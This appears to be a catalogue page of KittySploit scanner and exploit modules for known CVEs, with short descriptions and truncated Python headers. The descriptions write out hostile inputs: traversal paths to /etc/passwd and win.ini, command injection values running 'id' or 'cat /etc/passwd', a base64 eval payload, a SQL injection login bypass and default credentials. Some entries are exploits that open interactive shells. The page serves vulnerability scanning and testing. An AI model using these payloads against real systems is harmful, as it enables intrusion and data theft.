vtiger CRM - graph.php OrganizationConfig Auth Bypass Detection

Detects vtiger = 5.2.1 auth bypass by requesting graph.php?module=Settings&action=OrganizationConfig and matching Company Details. !/usr/bin/env python3 -- coding: utf-8 -- """Detects vtiger = 5.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class...

Monit - Default Credentials Detection

Tries admin:monit against Monit Basic auth WWW-Authenticate realm=monit and looks for Monit: in a 200 response. !/usr/bin/env python3 -- coding: utf-8 -- """Monit default credentials admin:monit.""" import base64 from kittysploit import from lib.protocols.http.httpclient import Httpclient class...

TWiki - debugenableplugins RCE Detection (CVE-2014-7236)

Detects CVE-2014-7236 by injecting Perl systemid via debugenableplugins on /view/Main/WebHome. !/usr/bin/env python3 -- coding: utf-8 -- """TWiki debugenableplugins RCE CVE-2014-7236.""" import re from urllib.parse import quote from kittysploit import from lib.protocols.http.httpclient import...

PROMOTIC SCADA - Directory Traversal Detection (CVE-2011-4518)

Detects CVE-2011-4518 via /webdir/../../../../../../../../windows/win.ini. !/usr/bin/env python3 -- coding: utf-8 -- """Detects CVE-2011-4518 via /webdir/.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = 'name':...

MySQL/MariaDB - Auth Bypass Detection (CVE-2012-2122)

Detects CVE-2012-2122 by repeatedly attempting root login with a wrong password until memcmp returns success or max attempts. !/usr/bin/env python3 -- coding: utf-8 -- """MySQL/MariaDB memcmp authentication bypass CVE-2012-2122.""" import socket import struct from kittysploit import from...

rConfig - ajaxServerSettingsChk.php RCE (CVE-2019-16662)

Exploits CVE-2019-16662 by injecting OS commands into rootUname of /install/lib/ajaxHandlers/ajaxServerSettingsChk.php. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """rConfig ajaxServerSettingsChk.php unauthenticated RCE CVE-2019-16662 — opens execute session."...

D-Link DSL - login.cgi CLI RCE Detection (CVE-2016-20017)

Detects CVE-2016-20017 by injecting cat /etc/passwd into login.cgi?cli= and checking for passwd contents. !/usr/bin/env python3 -- coding: utf-8 -- """D-Link DSL login.cgi CLI command injection CVE-2016-20017.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclie...

AVM FRITZ!Box - juis_boxinfo.xml Information Disclosure (CVE-2024-54767)

AVM FRITZ!Box devices may expose //juisboxinfo.xml without authentication, disclosing BoxInfo and UpdateConfig metadata CVE-2024-54767. !/usr/bin/env python3 -- coding: utf-8 -- """AVM FRITZ!Box unauthenticated juisboxinfo.xml disclosure CVE-2024-54767.""" from kittysploit import from...

Seagate Personal Cloud - getPhotoPlaylistPhotos LFI (CVE-2017-18263)

Detects CVE-2017-18263 by requesting /getPhotoPlaylistPhotos.psp?url=/etc/passwd and checking for passwd contents. !/usr/bin/env python3 -- coding: utf-8 -- """Seagate Personal Cloud Media Server path traversal CVE-2017-18263.""" import re from kittysploit import from lib.protocols.http.httpclien...

osCommerce - file_manager.php Arbitrary Upload Detection (CVE-2009-20006)

Detects CVE-2009-20006 by uploading a marker PHP via admin/filemanager.php/login.php?action=save. !/usr/bin/env python3 -- coding: utf-8 -- """Detects CVE-2009-20006 by uploading a marker PHP via admin/filemanager.""" import re from kittysploit import from lib.protocols.http.httpclient import...

NETGEAR DGN - setup.cgi syscmd Detection (CVE-2024-12847)

Detects unauthenticated setup.cgi?todo=syscmd command injection by reading /etc/passwd. !/usr/bin/env python3 -- coding: utf-8 -- """NETGEAR DGN setup.cgi syscmd RCE CVE-2024-12847 / 2013 disclosure.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class...

GitLab - ExifTool RCE Unpatched Fingerprint (CVE-2021-22205)

Detects unpatched GitLab instances vulnerable to CVE-2021-22205 by POSTing a multipart JPEG upload to a random path and looking for HTTP 422 with "The change you requested was rejected" Greenbone active check. !/usr/bin/env python3 -- coding: utf-8 -- """GitLab CE/EE ExifTool RCE unpatched...

vBSEO - proc_deutf RCE Detection (CVE-2012-5223)

Detects CVE-2012-5223 by POSTing charrepl eval payload to /vbseocp.php with Code: base64passthru"id". !/usr/bin/env python3 -- coding: utf-8 -- """vBSEO procdeutf eval RCE CVE-2012-5223.""" import base64 import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class...

D-Link DIR - __show_info.php File Disclosure Detection (CVE-2017-12943)

Detects CVE-2017-12943 by requesting /model/showinfo.php?REQUIREFILE=/var/etc/httpasswd. !/usr/bin/env python3 -- coding: utf-8 -- """D-Link DIR showinfo.php file disclosure CVE-2017-12943.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class...

Apache Guacamole - Default Credentials Detection

Tries guacadmin:guacadmin against /api/tokens and looks for authToken in a JSON 200 response. !/usr/bin/env python3 -- coding: utf-8 -- """Apache Guacamole default credentials guacadmin/guacadmin.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class...

MyBB - shutdown_functions RCE Detection

Detects MyBB = 1.8.2 RCE via Cookie GLOBALS=1;shutdownfunctions phpinfo or query-string shutdownfunctions. !/usr/bin/env python3 -- coding: utf-8 -- """MyBB shutdownfunctions / GLOBALS RCE Nov 2014.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanne...

vBulletin - decodeArguments RCE Detection (CVE-2015-7808)

Detects CVE-2015-7808 by sending a crafted serialized payload to /ajax/api/hook/decodeArguments that triggers phpinfo. !/usr/bin/env python3 -- coding: utf-8 -- """vBulletin 5.x pre-auth object injection RCE CVE-2015-7808.""" from urllib.parse import quote from kittysploit import from...

A2Billing - Unauth SQL Dump Detection

Detects A2Billing backup abuse by triggering A2Bentitybackup.php dump to a guessable .sql path and downloading it. !/usr/bin/env python3 -- coding: utf-8 -- """A2Billing unauthenticated SQL dump via A2Bentitybackup.php.""" import time from kittysploit import from lib.protocols.http.httpclient...

Masscan Workspace Integrator

Run masscan or import existing -oJ JSON and write open hosts/ports directly into the active workspace database. JSON is captured from stdout via -oJ - — no intermediate files needed. Pair with auxiliary/external/nmap for service/version enrichment. !/usr/bin/env python3 -- coding: utf-8 -- """Run...

osCommerce - templates_modules LFI Detection (CVE-2011-4543)

Detects CVE-2011-4543 via info.php?set=../../../../etc/passwd%00. !/usr/bin/env python3 -- coding: utf-8 -- """Detects CVE-2011-4543 via info.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = 'name': 'osCommerce -...

eduTrac - overview.php LFI Detection (CVE-2013-7097)

Detects CVE-2013-7097 by requesting installer/overview.php?showmask= traversal to Config/constants.php and matching DB markers. !/usr/bin/env python3 -- coding: utf-8 -- """eduTrac installer overview.php path traversal CVE-2013-7097.""" from kittysploit import from lib.protocols.http.httpclient...

hybris Commerce - medias context LFI Detection (CVE-2014-8871)

Detects CVE-2014-8871 by requesting /medias/?context= with a base64-encoded master|root|...|../../../../../../etc/passwd| payload. !/usr/bin/env python3 -- coding: utf-8 -- """hybris Commerce context= base64 path traversal CVE-2014-8871.""" import base64 import re from kittysploit import from...

Caucho Resin - Legacy WEB-INF Path Traversal Detection

Detects classic Caucho Resin path-traversal tricks that expose WEB-INF/resin-web.xml: /.jsp/WEB-INF/ CVE-2001-0399, /WEB-INF../ CVE-2004-0281, and /%20../WEB-INF/ CVE-2007-2440. !/usr/bin/env python3 -- coding: utf-8 -- """Caucho Resin legacy WEB-INF path traversal CVE-2001-0399 / 2004-0281 /...

Movable Type - XML-RPC RCE Detection (CVE-2021-20837)

Detects CVE-2021-20837 by POSTing mt.handlertocoderef XML-RPC with a base64-encoded backtick payload that reads /etc/passwd via /mt/mt-xmlrpc.cgi. !/usr/bin/env python3 -- coding: utf-8 -- """Movable Type XML-RPC mt.handlertocoderef RCE CVE-2021-20837.""" import base64 import re from kittysploit...

GoAhead - CGI LD_DEBUG Injection Detection (CVE-2017-17562)

Detects CVE-2017-17562 by POSTing to common CGI endpoints with ?LDDEBUG=help and looking for dynamic linker help output. !/usr/bin/env python3 -- coding: utf-8 -- """Embedthis GoAhead CGI environment injection CVE-2017-17562.""" from kittysploit import from lib.protocols.http.httpclient import...

libupnp - Unauth POST Write Detection (CVE-2016-6255)

Detects CVE-2016-6255 by POSTing a test file to the web root and retrieving it. !/usr/bin/env python3 -- coding: utf-8 -- """libupnp unauthenticated POST write CVE-2016-6255.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info =...

D-Link DIR-825 - router_info.xml WPS Disclosure (CVE-2019-9126)

Detects CVE-2019-9126 by requesting /routerinfo.xml?section=wps and looking for WPS PIN / wireless credential fields. !/usr/bin/env python3 -- coding: utf-8 -- """D-Link DIR-825 WPS info disclosure CVE-2019-9126.""" import re from kittysploit import from lib.protocols.http.httpclient import...

Apache HTTP Server 2.4.49 - CGI Path Traversal RCE (CVE-2021-41773)

Exploits CVE-2021-41773 by POSTing shell commands to an encoded path ending in bin/sh under a mapped Alias/ScriptAlias cgi-bin/icons. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """Apache HTTP Server 2.4.49 CGI path-traversal RCE CVE-2021-41773 — opens execute...

ApPHP MicroBlog - index.php RCE Detection

Detects ApPHP MicroBlog RCE via index.php?b;phpinfo;echo...=/ style parameter injection. !/usr/bin/env python3 -- coding: utf-8 -- """ApPHP MicroBlog index.php parameter RCE.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info =...

Apache HTTP Server 2.4.49-2.4.50 - Path Traversal / RCE Detection (CVE-2021-42013)

Detects CVE-2021-42013 incomplete fix for CVE-2021-41773 using double-encoded .%%32%65/ traversal to read /etc/passwd or execute via CGI bin/sh. !/usr/bin/env python3 -- coding: utf-8 -- """Apache HTTP Server 2.4.49-2.4.50 double-encoded path traversal / CGI RCE CVE-2021-42013.""" import re from...

Apache HTTP Server 2.4.49-2.4.50 - CGI Path Traversal RCE (CVE-2021-42013)

Exploits CVE-2021-42013 using double-encoded .%%32%65/ traversal to reach bin/sh under a mapped Alias/ScriptAlias and run OS commands. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """Apache HTTP Server 2.4.49-2.4.50 double-encoded CGI RCE CVE-2021-42013 — opens...

coturn - Web Admin Auth Bypass Detection (CVE-2018-4056)

Detects CVE-2018-4056 by POSTing a UNION SELECT login payload to /logon and looking for Set Admin Session Realm after priming /favicon.ico. !/usr/bin/env python3 -- coding: utf-8 -- """coturn web admin SQLi authentication bypass CVE-2018-4056.""" from kittysploit import from...

Apache HTTP Server - Path Traversal File Read (CVE-2021-41773/42013)

Reads arbitrary files via CVE-2021-41773 / CVE-2021-42013 encoded path traversal under cgi-bin/icons aliases. !/usr/bin/env python3 -- coding: utf-8 -- """Apache HTTP Server path-traversal arbitrary file read CVE-2021-41773 / CVE-2021-42013.""" from kittysploit import from...

Tiki Wiki - flv_stream.php File Download Detection

Detects Tiki Wiki arbitrary file download via /vendor/player/flv/flvstream.php?file=../../../db/local.php. !/usr/bin/env python3 -- coding: utf-8 -- """Tiki Wiki flvstream.php arbitrary file download.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class...

DidiWiki - Path Traversal Detection (CVE-2013-7448)

Detects CVE-2013-7448 by requesting /api/page/get?page=../../../etc/passwd. !/usr/bin/env python3 -- coding: utf-8 -- """DidiWiki api/page/get path traversal CVE-2013-7448.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient:...

cPassMan - downloadFile.php LFI Detection

Detects cPassMan path LFI via sources/downloadFile.php?path=../../../../etc/passwd. !/usr/bin/env python3 -- coding: utf-8 -- """Detects cPassMan path LFI via sources/downloadFile.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner,...

Hikvision IP Camera - webLanguage Command Injection (CVE-2021-36260)

Exploits CVE-2021-36260 by injecting OS commands into PUT /SDK/webLanguage, writing stdout under webLib/ and reading it back. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """Hikvision IP camera unauthenticated RCE CVE-2021-36260 — opens execute session.""" impor...

Embedthis GoAhead - Host Header Injection Detection (CVE-2019-16645)

Detects CVE-2019-16645 by POSTing to /goform/login and related paths with a crafted Host header and looking for that host in Location / moved-to responses. !/usr/bin/env python3 -- coding: utf-8 -- """Embedthis GoAhead Host header injection CVE-2019-16645.""" import secrets from kittysploit impor...

PrestaShop Mega Menu - ajax_phpcode.php RCE Detection (CVE-2018-8823)

Detects CVE-2018-8823 by executing id via /modules/bamegamenu/ajaxphpcode.php?code=echo%20execid; !/usr/bin/env python3 -- coding: utf-8 -- """PrestaShop Responsive Mega Menu ajaxphpcode.php RCE CVE-2018-8823.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclie...

DirPHP - phpfile LFI Detection (CVE-2014-5115)

Detects CVE-2014-5115 by requesting index.php?phpfile=/etc/passwd on DirPHP. !/usr/bin/env python3 -- coding: utf-8 -- """DirPHP phpfile local file inclusion CVE-2014-5115.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient:...

AirLive - cgi_test.cgi RCE Detection (CVE-2015-2279)

Detects AirLive OS command injection via /cgitest.cgi?writetan&;id&id MD/BU models or manufacture Basic-auth wirelessmft WL/POE models. !/usr/bin/env python3 -- coding: utf-8 -- """AirLive Boa cgitest.cgi OS command injection CVE-2015-2279.""" import base64 import re from kittysploit import from...

GlassFish - Admin Console TRACE Bypass Detection (CVE-2011-1511)

Detects CVE-2011-1511 by issuing TRACE to manageUserNew.jsf and matching ConfirmPassword / NewPassword form fields. !/usr/bin/env python3 -- coding: utf-8 -- """Oracle GlassFish Admin Console TRACE auth bypass CVE-2011-1511.""" from kittysploit import from lib.protocols.http.httpclient import...

Basilic - diff.php RCE Detection

Detects Basilic = 1.5.14 RCE via /Config/diff.php?file=;id&new=1&old=2. !/usr/bin/env python3 -- coding: utf-8 -- """Basilic Config/diff.php command injection.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = 'name':...

Dahua Devices - webCapsConfig Information Disclosure (CVE-2019-9680)

Multiple Dahua devices and OEMs expose /webcaps/webCapsConfig without authentication, disclosing deviceType and vendor metadata. CVE-2024-13131 was rejected as a duplicate of CVE-2019-9680. !/usr/bin/env python3 -- coding: utf-8 -- """Dahua and OEM unauthenticated webCapsConfig information...

D-Link DWR - EXCU_SHELL RCE Detection (CVE-2018-19300)

Detects CVE-2018-19300 by sending cmdnum/command1/confirm1 headers to /EXCUSHELL and checking for /etc/passwd contents distinct header set from CVE-2023-26613. !/usr/bin/env python3 -- coding: utf-8 -- """D-Link DWR EXCUSHELL command injection CVE-2018-19300.""" import re from kittysploit import...

Gitlist - blame Command Injection Detection (CVE-2014-4511)

Detects CVE-2014-4511 by requesting /blame/master/""/blame/master/""/id ' 'after discovering a repository link on the Gitlist index.' , 'author': 'KittySploit Team', 'severity': 'critical', 'tags': 'web', 'scanner', 'cve', 'cve2014', 'gitlist', 'rce', 'cmdi', 'unauth', 'vuln', , 'agent': 'risk':...

ALCASAR - Host Header RCE Detection

Detects ALCASAR RCE by injecting mailto:...;id; into the Host header on /alcasar/index.php. !/usr/bin/env python3 -- coding: utf-8 -- """ALCASAR Host-header command injection.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient...

BloodHound.py collect

Run bloodhound-python / bloodhound-ce-python against a Domain Controller from Linux or Windows, produce a zip, and merge into the agent attack graph. Default collection=DCOnly LDAP-only, good from Kali. Use All for fuller Session/LocalAdmin fan-out when the network allows. !/usr/bin/env python3 -...

Barracuda - view_help.cgi Directory Traversal Detection (CVE-2010-20109)

Detects CVE-2010-20109 via viewhelp.cgi?locale=/../../../../mail/snapshot/config.snapshot%00. !/usr/bin/env python3 -- coding: utf-8 -- """Detects CVE-2010-20109 via viewhelp.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient...

WD NAS - language_configuration RCE Detection (CVE-2018-18472)

Detects CVE-2018-18472 by injecting id via PUT /api/1.0/rest/languageconfiguration backticks and fetching the written output file. !/usr/bin/env python3 -- coding: utf-8 -- """Western Digital My Cloud / My Book Live languageconfiguration RCE CVE-2018-18472.""" import re from kittysploit import fr...